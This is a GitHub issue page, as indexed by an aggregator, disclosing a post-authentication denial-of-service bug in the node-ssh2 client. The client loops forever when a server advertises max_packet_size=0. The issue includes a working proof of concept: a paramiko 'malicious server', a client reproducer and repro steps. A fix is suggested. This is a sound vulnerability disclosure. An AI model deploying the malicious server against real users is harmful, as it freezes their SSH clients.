mscdex / mscdex/ssh2

max_packet_size=0 channel-send infinite loop (post-auth DoS) — RFC 4254 §5.1 cluster

Open Beginner friendly
#1,504 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
JavaScript
Stars
5.8k
Forks
734
PR merge metrics
No merged PRs in 30d

Description

node-ssh2 (mscdex/ssh2) max_packet_size=0 channel-send infinite loop

Identity

  • Target: node-ssh2 / mscdex/ssh2 (commit 318d447ce3ac, current at time of report)
  • Vulnerable site: lib/Channel.js channel-data send loop (lines ~44-66 and ~159-177)
  • Class: CWE-835 (infinite loop) — the SSH max_packet_size=0 cluster (RFC 4254 §5.1 silent on 0)
  • Reachability: post-auth; a malicious SSH server advertises max_packet_size=0 in
    SSH_MSG_CHANNEL_OPEN_CONFIRMATION; the client wedges when it next writes channel data
  • Impact: client DoS — Node event loop pinned at ~100% CPU, connection/terminal freeze

Root cause

// lib/Channel.js (send loop)
const packetSize = outgoing.packetSize;          // stored raw from peer's OPEN_CONFIRMATION
while (len - p > 0 && window > 0) {
  let sliceLen = len - p;
  if (sliceLen > window)  sliceLen = window;
  if (sliceLen > packetSize) sliceLen = packetSize;   // no floor; packetSize=0 -> sliceLen=0
  ...                                              // send sliceLen bytes of CHANNEL_DATA
  p += sliceLen;                                  // p += 0
  window -= sliceLen;                             // window -= 0
}

With packetSize = 0 and window > 0, sliceLen is clamped to 0; p and window never change →
synchronous infinite loop emitting 0-length CHANNEL_DATA, pinning the Node event loop. No >= 1
floor is enforced on the peer-supplied packet size (contrast OpenSSH channels.c:3079,
dropbear common-channel.c:716, paramiko _sanitize_packet_size, Go x/crypto minPacketLength=9,
Maverick < 4096 reject, all of which defend).

Proof of concept

malicious_server.py (shared paramiko server, Transport.default_max_packet_size = 0) +
client.js (node-ssh2 client). The client connects, opens a shell channel, and writes 8 KiB.

$ bash repro.sh
[+] malicious server up on :2307 (advertises max_packet_size=0)
[+] running node-ssh2 client (timeout 8s; expect SIGTERM at wedge)
[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)
[+] exit: timeout-killed (124) = client wedged in send loop = VULNERABLE

The client never reaches the "returned after write" line; timeout kills it at the wedge.

Impact

Post-auth, client-side DoS (connect to / be redirected to a malicious server). Low–Medium — same
class as the reported asyncssh/libssh/PuTTY/Twisted/SSHJ (all now fixed).

Suggested fix

Reject or clamp the peer's packet size on receipt, e.g. packetSize = Math.max(packetSize, 1) (or
reject SSH_MSG_CHANNEL_OPEN_CONFIRMATION with max_packet_size == 0), matching the defended impls.

Reproduction package

  • client.js — node-ssh2 client (npm install ssh2)
  • malicious_server.py — shared paramiko server (maxpkt=0)
  • repro.sh / output.txt

PoC source (client.js)

// node-ssh2 (mscdex/ssh2) max_packet_size=0 reproducer.
// Connects to malicious_server.py (which advertises max_packet_size=0 in
// CHANNEL_OPEN_CONFIRMATION), opens a session, and writes channel data.
// Once outgoing.packetSize == 0, Channel.js send loop computes
//   sliceLen = min(len-p, window, packetSize) = 0  -> p += 0, window -= 0
// and never advances -> synchronous infinite loop pinning the Node event loop.
//
// Run:  npm install ssh2   &&   node client.js [port]
const { Client } = require('ssh2');
const port = parseInt(process.argv[2] || '2300', 10);
const conn = new Client();
conn.on('ready', () => {
  conn.shell(false, (err, stream) => {
    if (err) { console.error(err); process.exit(2); }
    // server's OPEN_CONFIRMATION carried max_packet_size=0 -> outgoing.packetSize=0
    console.log('[client] channel opened; outgoing.packetSize =',
                stream._channel && stream._channel.outgoing && stream._channel.outgoing.packetSize);
    console.log('[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)');
    stream.write(Buffer.alloc(8192, 0x58));   // <-- wedges here if vulnerable
    console.log('[client] returned after write -> NOT vulnerable (unexpected)');
    conn.end();
  });
});
conn.on('error', (e) => { console.error('[client] conn error:', e.message); });
conn.connect({ host: '127.0.0.1', port, username: 'x', password: 'x',
               readyTimeout: 8000 });


PoC source (malicious_server.py)

#!/usr/bin/env python3
# Malicious SSH server: real paramiko KEX/auth, but advertises max_packet_size=0.
# Requires: pip install paramiko
# Usage: python3 malicious_server.py <port> [authmode]   (authmode: pass|none)
import sys, time, socket, threading, warnings
warnings.filterwarnings("ignore")
import paramiko

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2300
AUTHMODE = sys.argv[2] if len(sys.argv) > 2 else "pass"

class _AcceptAll(paramiko.ServerInterface):
    def get_allowed_auths(self, username): return "password,none"
    def check_auth_none(self, username):
        return paramiko.AUTH_SUCCESSFUL if AUTHMODE == "none" else paramiko.AUTH_FAILED
    def check_auth_password(self, username, password): return paramiko.AUTH_SUCCESSFUL
    def check_channel_request(self, kind, chanid): return paramiko.OPEN_SUCCEEDED
    def check_channel_shell_request(self, channel): return True
    def check_channel_exec_request(self, channel, command): return True
    def check_channel_pty_request(self, *a): return True

host_key = paramiko.RSAKey.generate(2048)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", PORT)); srv.listen(5)
print(f"[server] listening 127.0.0.1:{PORT} (advertises max_packet_size=0)", flush=True)
while True:
    conn, _ = srv.accept()
    t = paramiko.Transport(conn)
    t.add_server_key(host_key)
    t.default_max_packet_size = 0        # <-- weapon
    def run(tr=t):
        try: tr.start_server(server=_AcceptAll())
        except Exception as e: print("[server] ended:", e, flush=True)
        while tr.is_active(): time.sleep(0.5)
    threading.Thread(target=run, daemon=True).start()

Steps to reproduce:

  1. pip install paramiko and npm install ssh2
  2. python3 malicious_server.py 2307 pass &
  3. timeout 8 node client.js 2307 (client.js is inlined above)
  4. The client never returns from stream.write(...); timeout kills it (exit 124) = wedged = vulnerable.

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with the channel-data send loops in lib/Channel.js, then run repro.sh with client.js and malicious_server.py to confirm the zero packet-size behavior. Trace how max_packet_size from SSH_MSG_CHANNEL_OPEN_CONFIRMATION reaches outgoing.packetSize. Done means the client no longer wedges when the server advertises zero and the reproduction completes instead of timing out.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript, node.js, python
Domain
security
Issue type
Bug
Difficulty
2/5
Estimated time
1-3 hours
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
75/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.